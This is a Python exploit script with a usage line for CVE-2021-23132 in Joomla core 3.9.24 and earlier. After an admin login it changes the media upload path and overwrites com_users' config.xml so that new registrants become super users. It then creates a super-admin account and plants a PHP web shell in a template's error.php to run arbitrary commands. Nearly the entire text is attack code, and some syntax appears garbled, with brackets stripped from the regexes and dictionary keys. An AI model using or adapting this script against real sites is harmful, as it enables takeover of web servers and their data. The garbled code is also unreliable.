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Joomla core<= 3.9.24
POC:
python3 cve-2021-23132.py -url http://192.168.72.140 -u admin -p 1234 -rce 1 -cmd ls
#!/usr/bin/python3
import sys
import requests
import re
import argparse
#proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"}
proxies={}
try:
import lxml.html
except ImportError:
print("module 'lxml' doesn't exist, type: pip3 install lxml")
exit(0)
def writeConfigFile(filename):
print("+ Creating config.xml ")
content="""<?xml version="1.0" encoding="utf-8"?>
<config>
<fieldset
name="user_options"
label="COM_USERS_CONFIG_USER_OPTIONS" >
<field
name="allowUserRegistration"
type="radio"
label="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL"
description="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="new_usertype"
type="usergrouplist"
label="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL"
description="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC"
default="2"
checksuperusergroup="0"
/>
<field
name="guest_usergroup"
type="usergrouplist"
label="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL"
description="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC"
default="1"
checksuperusergroup="0"
/>
<field
name="sendpassword"
type="radio"
label="COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL"
description="COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="useractivation"
type="list"
label="COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL"
description="COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC"
default="0"
>
<option value="0">JNONE</option>
<option value="1">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION</option>
<option value="2">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION</option>
</field>
<field
name="mail_to_admin"
type="radio"
label="COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL"
description="COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC"
class="btn-group btn-group-yesno"
default="0"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="captcha"
type="plugins"
label="COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL"
description="COM_USERS_CONFIG_FIELD_CAPTCHA_DESC"
folder="captcha"
filter="cmd"
useglobal="true"
>
<option value="0">JOPTION_DO_NOT_USE</option>
</field>
<field
name="frontend_userparams"
type="radio"
label="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JSHOW</option>
<option value="0">JHIDE</option>
</field>
<field
name="site_language"
type="radio"
label="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC"
class="btn-group btn-group-yesno"
default="0"
showon="frontend_userparams:1"
>
<option value="1">JSHOW</option>
<option value="0">JHIDE</option>
</field>
<field
name="change_login_name"
type="radio"
label="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL"
description="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC"
class="btn-group btn-group-yesno"
default="0"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
</fieldset>
<fieldset
name="domain_options"
label="COM_USERS_CONFIG_DOMAIN_OPTIONS"
>
<field
name="domains"
type="subform"
label="COM_USERS_CONFIG_FIELD_DOMAINS_LABEL"
description="COM_USERS_CONFIG_FIELD_DOMAINS_DESC"
multiple="true"
layout="joomla.form.field.subform.repeatable-table"
formsource="administrator/components/com_users/models/forms/config_domain.xml"
/>
</fieldset>
<fieldset
name="password_options"
label="COM_USERS_CONFIG_PASSWORD_OPTIONS" >
<field
name="reset_count"
type="integer"
label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC"
first="0"
last="20"
step="1"
default="10"
/>
<field
name="reset_time"
type="integer"
label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC"
first="1"
last="24"
step="1"
default="1"
/>
<field
name="minimum_length"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH"
description="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH_DESC"
first="4"
last="99"
step="1"
default="4"
/>
<field
name="minimum_integers"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS"
description="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS_DESC"
first="0"
last="98"
step="1"
default="0"
/>
<field
name="minimum_symbols"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS"
description="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS_DESC"
first="0"
last="98"
step="1"
default="0"
/>
<field
name="minimum_uppercase"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE"
description="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE_DESC"
first="0"
last="98"
step="1"
default="0"
/>
<field
name="minimum_lowercase"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE"
description="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE_DESC"
first="0"
last="98"
step="1"
default="0"
/>
</fieldset>
<fieldset
name="user_notes_history"
label="COM_USERS_CONFIG_FIELD_NOTES_HISTORY" >
<field
name="save_history"
type="radio"
label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
class="btn-group btn-group-yesno"
default="0"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="history_limit"
type="number"
label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
filter="integer"
default="5"
showon="save_history:1"
/>
</fieldset>
<fieldset
name="massmail"
label="COM_USERS_MASS_MAIL"
description="COM_USERS_MASS_MAIL_DESC">
<field
name="mailSubjectPrefix"
type="text"
label="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL"
description="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC"
/>
<field
name="mailBodySuffix"
type="textarea"
label="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL"
description="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC"
rows="5"
cols="30"
/>
</fieldset>
<fieldset
name="debug"
label="COM_USERS_DEBUG_LABEL"
description="COM_USERS_DEBUG_DESC">
<field
name="debugUsers"
type="radio"
label="COM_USERS_DEBUG_USERS_LABEL"
description="COM_USERS_DEBUG_USERS_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="debugGroups"
type="radio"
label="COM_USERS_DEBUG_GROUPS_LABEL"
description="COM_USERS_DEBUG_GROUPS_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
</fieldset>
<fieldset name="integration"
label="JGLOBAL_INTEGRATION_LABEL"
description="COM_USERS_CONFIG_INTEGRATION_SETTINGS_DESC"
>
<field
name="integration_sef"
type="note"
label="JGLOBAL_SEF_TITLE"
/>
<field
name="sef_advanced"
type="radio"
class="btn-group btn-group-yesno btn-group-reversed"
default="0"
label="JGLOBAL_SEF_ADVANCED_LABEL"
description="JGLOBAL_SEF_ADVANCED_DESC"
filter="integer"
>
<option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option>
<option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option>
</field>
<field
name="integration_customfields"
type="note"
label="JGLOBAL_FIELDS_TITLE"
/>
<field
name="custom_fields_enable"
type="radio"
label="JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL"
description="JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
</fieldset>
<fieldset
name="permissions"
label="JCONFIG_PERMISSIONS_LABEL"
description="JCONFIG_PERMISSIONS_DESC"
>
<field
name="rules"
type="rules"
label="JCONFIG_PERMISSIONS_LABEL"
filter="rules"
validate="rules"
component="com_users"
section="component"
/>
</fieldset>
</config>
"""
f = open(filename, "w")
f.write(content)
f.close
def extract_token(resp):
match = re.search(r'name="(a-f0-9{32})" value="1"', resp.text, re.S)
if match is None:
print("- Cannot find CSRF token!\n")
return None
return match.group(1)
def try_admin_login(sess, url, uname, upass):
admin_url = url + '/administrator/index.php'
print('+ Getting token for Manager login')
resp = sess.get(admin_url, verify=True)
token = extract_token(resp)
if not token:
return False
print('+ Logging in to Admin')
data = {
'username': uname,
'passwd': upass,
'task': 'login',
token: '1'
}
resp = sess.post(admin_url, data=data, verify=True)
if 'task=profile.edit' not in resp.text:
print('! Admin Login Failure!')
return None
print('+ Admin Login Successfully!')
return True
def check_admin(sess, url):
url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path='
resp = sess.get(url_check, verify=True)
token = extract_token(resp)
if not token:
print ("- You are not admin account!")
sys.exit()
return token
def set_media_options(url, sess, dir, token):
print("+ Setting media options")
newdata = {
'jformupload_extensions': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS',
'jformupload_maxsize': 10,
'jformfile_path': dir,
'jformimage_path': dir,
'jformrestrict_uploads': 0,
'jformcheck_mime': 0,
'jformimage_extensions': 'bmp,gif,jpg,png',
'jformignore_extensions': '',
'jformupload_mime': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip',
'jformupload_mime_illegal': 'text/html',
'id': 13,
'component': 'com_media',
'task': 'config.save.component.apply',
token: 1
}
newdata'task' = 'config.save.component.apply'
config_url = url + '/administrator/index.php?option=com_config'
resp = sess.post(config_url, data=newdata, verify=True)
if 'jformupload_extensions' not in resp.text:
print('! Maybe failed to set media options...')
return False
return True
def traversal(sess, url):
shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder='
resp = sess.get(shell_url, verify=True)
page = resp.text.encode('utf-8')
html = lxml.html.fromstring(page)
files = html.xpath("//input@name='rm'/@value")
for file in files:
print (file)
pass
def removeFile(sess, url, filename, token):
remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm=' + filename
msg = sess.get(remove_path, verify=True,proxies=proxies)
page = msg.text.encode('utf-8')
html = lxml.html.fromstring(page)
file_remove = html.xpath("//div@class='alert-message'/text()1")
print ('\n' + 'Result: ' + file_remove-1)
def upload_file(sess, url, file, token):
print("+ Uploading config.xml")
filename = "config.xml"
url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder='
files = {
'Filedata': (filename, file, 'text/xml')
}
data = dict(folder="")
resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies)
if filename not in resp.text:
print("! Failed to upload file!")
return False
print("+ Exploit Successfully!")
return True
def set_users_option(sess, url, token):
newdata = {
'jformallowUserRegistration': 1,
'jformnew_usertype': 8,
'jformguest_usergroup': 8,
'jformsendpassword ': 0,
'jformuseractivation': 0,
'jformmail_to_admin': 0,
'id': 25,
'component': 'com_users',
'task': 'config.save.component.apply',
token: 1
}
newdata'task' = 'config.save.component.apply'
config_url = url + '/administrator/index.php?option=com_config'
resp = sess.post(config_url, data=newdata, verify=True)
if 'Configuration saved.' not in resp.text:
print('! Could not save data. Error: Save not permitted.')
return False
return True
def create_superuser(sess, url, username, password, email):
resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True)
token = extract_token(resp)
data = {
# Form data
'jformname': username,
'jformusername': username,
'jformpassword1': password,
'jformpassword2': password,
'jformemail1': email,
'jformemail2': email,
'jformoption': 'com_users',
'jformtask': 'registration.register',
token: '1',
}
url_post = "/index.php/component/users/?task=registration.register&Itemid=101"
sess.post(url + url_post, data=data, verify=True)
sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True)
newsess = requests.Session()
if try_admin_login(newsess, url, username, password):
print ("+ Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n+ Your super-admin account: \n+ USERNAME: " + username + "\n+ PASSWORD: " + password)
return newsess
else:
print ("- Sorry,exploit fail!")
return None
def setOption(url, sess, usuper, psuper, esuper, token):
print ("Superadmin Creation:")
# folder contains config.xml
dir = './administrator/components/com_users'
filename = 'config.xml'
set_media_options(url, sess, dir, token)
traversal(sess, url)
removeFile(sess, url, filename, token)
f = open("config.xml", "rb")
upload_file(sess, url, f, token)
set_users_option(sess, url, token)
def rce(sess, url, cmd, token):
filename = 'error.php'
shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
shdata_up = {
'jformsource': "<?php echo 'Hacked by HK\n' ;system($_GET'cmd'); ?>",
'task': 'template.apply',
token: '1',
'jformextension_id': '506',
'jformfilename': '/' + filename
}
sess.post(shlink, data=shdata_up,proxies=proxies)
path2shell = '/templates/protostar/error.php?cmd=' + cmd
# print '+ Shell is ready to use: ' + str(path2shell)
print ('+ Checking:')
shreq = sess.get(url + path2shell,proxies=proxies)
shresp = shreq.text
print (shresp + '+ Shell link: \n' + (url + path2shell))
print ('+ Module finished.')
def main():
# Construct the argument parser
ap = argparse.ArgumentParser()
# Add the arguments to the parser
ap.add_argument("-url", "--url", required=True,
help=" URL for your Joomla target")
ap.add_argument("-u", "--username", required=True,
help="username")
ap.add_argument("-p", "--password", required=True,
help="password")
ap.add_argument("-dir", "--directory", required=False, default='./',
help="directory")
ap.add_argument("-rm", "--remove", required=False,
help="filename")
ap.add_argument("-rce", "--rce", required=False, default="0",
help="RCE's mode is 1 to turn on")
ap.add_argument("-cmd", "--command", default="whoami",
help="command")
ap.add_argument("-usuper", "--usernamesuper", default="hk",
help="Super's username")
ap.add_argument("-psuper", "--passwordsuper", default="12345678",
help="Super's password")
ap.add_argument("-esuper", "--emailsuper", default="email protected",
help="Super's Email")
args = vars(ap.parse_args())
# target
url = format(str(args'url'))
print ('+ Your target: ' + url)
# username
uname = format(str(args'username'))
# password
upass = format(str(args'password'))
# directory
dir = format(str(args'directory'))
# init
sess = requests.Session()
# admin login
if (try_admin_login(sess, url, uname, upass) == None): sys.exit()
# get token
token = check_admin(sess, url)
# set options
set_media_options(url, sess, dir, token)
print ("Directory mode:")
traversal(sess, url)
if ap.parse_args().remove:
print ("\nRemove file mode: ")
filename = format(str(args'remove'))
removeFile(sess, url, filename, token)
# check option superadmin creation
# username of superadmin
usuper = format(str(args'usernamesuper'))
# password of superadmin
psuper = format(str(args'passwordsuper'))
# email of superadmin
esuper = format(str(args'emailsuper'))
# RCE mode
if (format(str(args'rce')) == "1"):
print ("\nRCE mode:\n")
# command
filename="config.xml"
writeConfigFile(filename)
command = format(str(args'command'))
setOption(url, sess, usuper, psuper, esuper, token)
# superadmin creation
newsess = create_superuser(sess, url, usuper, psuper, esuper)
if newsess != None :
# get token
newtoken = check_admin(newsess, url)
rce(newsess, url, command, newtoken)
if __name__ == "__main__":
sys.exit(main())
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